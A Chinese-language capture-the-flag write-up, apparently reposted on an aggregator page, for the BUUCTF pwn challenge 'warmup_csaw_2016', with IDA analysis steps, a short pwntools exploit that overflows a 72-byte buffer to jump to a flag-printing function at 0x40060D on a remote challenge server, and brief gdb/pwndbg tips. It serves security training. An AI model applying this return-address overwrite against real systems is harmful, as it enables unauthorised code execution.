当前位置: 首页 > article >正文

【BUUCTF】warmup_csaw_2016

题目一:【BUUCTF】warmup_csaw_2016

1、题目描述:

2、下载附件,在kali中分析,64位,小端存储

3、使用ida64分析文件,找到main函数,F5反汇编

4、这里有两个数组都是64字节,在sprintf这里,将sub_40060D函数的地址存放在s中。

5、查看函数sub_40060D,地址

6、构造exp

from pwn import *

sh = remote("node5.buuoj.cn",28532)
sub_addr = 0x40060D
payload = b'a'*72+ p64(sub_addr)
sh.sendline(payload)
sh.interactive()

7、运行:

--------------------------------------

tip:dbg命令

01、使用gdb工具

02、使用pwndbg,在主函数处进行断点:

03、权限不够时,添加权限就可以

04、使用r命令运行程序

05、使用n命令单步调试


http://www.kler.cn/a/418214.html

相关文章:

  • Javascript中DOM事件监听 (鼠标事件,键盘事件,表单事件)
  • Swift实现高效链表排序:一步步解读
  • 【热门主题】000077 物联网智能项目:开启智能未来的钥匙
  • 前端入门指南:模块打包器是什么?模块打包器的工作原理与实践
  • LinkedList的了解
  • 云原生后端开发:构建现代化可扩展的服务
  • [2024年1月28日]第15届蓝桥杯青少组stema选拔赛C++中高级(第二子卷、编程题(1))
  • 给定一个整数可能为正,0,负数,统计这个数据的位数.
  • K8S网络系列--Flannel网络下UDP、VXLAN模式的通信流程机制分析
  • 【接口封装】——11、Qt 的单例模式
  • Python 元组详解
  • pycharm链接neo4j(导入文件)
  • SpringBoot项目的配置文件
  • 零拷贝相关知识点(二)
  • Paper -- 建筑物高度估计 -- 基于深度学习、图像处理和自动地理空间分析的街景图像建筑高度估算
  • 【赵渝强老师】PostgreSQL的段、区和块
  • 太古可口可乐香港通过SAP S/4HANA推动数字化转型
  • 延时系统建模,整数延时与分数延时,连续传函与离散传函,Pade近似与Thiran近似,Matlab实现
  • 会议直击|美格智能亮相2024紫光展锐全球合作伙伴大会,融合5G+AI共拓全球市场
  • SpringBoot条件装配@Conditional
  • C语言:深入理解指针(1)
  • 【优选算法】模拟
  • 【Linux】进程控制,手搓简洁版shell
  • LeetCode 动态规划 任意子数组和的绝对值的最大值
  • 【机器学习】入门机器学习:从理论到代码实践
  • 8)语法分析:引导词